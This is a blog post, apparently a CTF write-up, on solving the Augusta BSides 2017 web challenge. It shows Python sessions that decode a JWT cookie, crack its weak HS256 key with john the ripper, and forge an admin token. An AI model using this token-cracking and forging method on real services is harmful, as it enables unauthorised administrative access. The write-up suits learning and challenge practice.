Augusta BSides 2017 Code Challenge

By: ohai 6 years ago
CTF Augusta_BSides Web

This was a neat challenge put on by the Augusta BSides folks as I guess some what of a teaser before the actual event. Whatever it was, it was neat.

It started off with a tweet from @BSidesAugusta with what appeared to be some sort of hex string

img

The header didn’t really jump out at me right off the bat and that’s far too many zeroes in a row for a hash so off to google I went to search the first few chars. What do you know, GZip. Yeah, I probably should have recognized that Chashtag. Anywho, we can decompress that pretty easily.

>>> import zlib
>>> zlib.decompress(binascii.unhexlify('1f8b08000000000000003336d533b430d13334d13332010016ba3c030c000000'),16+zlib.MAX_WBITS)
'35.184.14.24'

Sweet, an IP! Let’s fire up a web browser and check it out. img

I fire off a couple of weak SQLi attempts which was pretty fruitless. Viewing the source, we see a link to /js/custom.js. Pull that up and see that it posts the login to /login and there’s some sort of registration form if you’re logged in as admin. Well, we can post directly to it without the page’s help so I spent some time working on that but it was all wasted, nothing but 401 Unauthorized. Ok, let’s check it out from the interpreter.

>>> import requests
>>> s = requests.Session()
>>> r = s.get('http://35.184.14.24')       
>>> print(r.headers)
{'Date': 'Thu, 20 Jul 2017 21:42:53 GMT', 'Set-Cookie': 'bsides_augusta_2017=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3N1ZWQiOiIyMDE3LTA3LTIwIDIxOjQyOjUzLjUwOTczNyIsInVzZXIiOiJndWVzdCJ9.h05KFw2XvumiZNc3cRD5sxpLFHzYkGyrYgRNmFcMdhQ', 'Content-Length': '2091', 'Content-Type': 'text/html; charset=utf-8', 'Server': 'Werkzeug/0.12.2 Python/2.7.12'}

Hell yeah, Werkzeug, money! That cookie is almost definitely signed, but let’s take a look at it. We just need to break it apart at each . and base64 decode.

>>> import base64
>>> base64.b64decode('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9')
'{"alg":"HS256","typ":"JWT"}'
>>> base64.b64decode('eyJpc3N1ZWQiOiIyMDE3LTA3LTIwIDIxOjQyOjUzLjUwOTczNyIsInVzZXIiOiJndWVzdCJ9')
'{"issued":"2017-07-20 21:42:53.509737","user":"guest"}'

JWT, eh… I kinda faintly recall reading something a while back about some vuln issues with JWT tokens but nothing really stuck. To the googles we go.

This is the point where I wasted far too much time trying to get a token working with an alg of None and then user of admin. This was all in hopes that since they would technically be valid JWT tokens, the site may have some sort of logic flaw in how it checked them. Alas, there was not. A bit more googling around shows that these bad boys are susceptible to brute-force/dictionary attacks. Well, that’s kinda cheesy but ok, I’ll bite.

The Gentleman from https://github.com/Sjord/jwtcrack has some pre-written stuff we can try out. Feed it a dictionary (rockyou.txt, let’s roll) and wait a bit. Yeah, 20min later, it finished without producing the key. BOOOOOOOOOOO.

There’s also a file in that repo for converting the JWT token for use with john. Sure, why not. Let’s run it through there and leave john to do its business. (obligatory coffee break)

$ ./john ~/jwt.john 
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:50  3/3 0g/s 2024Kp/s 2024Kc/s 2024KC/s arsempi..assu1se # i'm so impatient...
l3et             (?)
1g 0:00:03:54 DONE 3/3 (2017-07-20 22:04) 0.004270g/s 2361Kp/s 2361Kc/s 2361KC/s dhmdel13..h9et
Use the "--show" option to display all of the cracked passwords reliably
Session completed

And john is successful. Hooray! (by the way, Challenge Writer, thank you for using a small key, the poor little VPS i was running this on would have taken fiveever if it were much longer) Now we can get to actually forging a proper key!

There’s the PyJWT library you can use to do this or you can just use plain old hmac. I went with the second option mostly because I was already in an interpreter session and didn’t feel like backing out, making a venv and running pip install PyJWT.

>>> import hmac
>>> header = '{"alg":"HS256","typ":"JWT"}'
>>> payload = '{"issued":"2017-07-20 21:42:53.509737","user":"admin"}' # wewt, admin!
>>> signature = base64.b64encode(hmac.new('l3et', base64.b64encode(header).strip('=') + '.' + base64.b64encode(payload).strip('='), digestmod=hashlib.sha256).digest())
>>> # jam them all together with dots and base64 encode!
>>> base64.b64encode(header).strip('=') + '.' + base64.b64encode(payload).strip('=') + '.' + signature.strip('=')
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3N1ZWQiOiIyMDE3LTA3LTIwIDIxOjQyOjUzLjUwOTczNyIsInVzZXIiOiJhZG1pbiJ9.kbCaM+IzUIShn2ZhoEssFt9U/hiAiunT6jGrvBrmss0'

Now that we have a properly signed cookie, we can do it with the requests module if we like (unless you’re a certain infosec gentleman named after some sort of french bread who obviously hates the requests module for making http safe for human consumpution i kid!! we love you @MarkBaggett) or we can just toss it in a cookie editor for our browser. Final product looked like so:

img

Thanks for the challenge, Augusta BSides!


Comments: 0

Unmoderated: 0 Spam: 126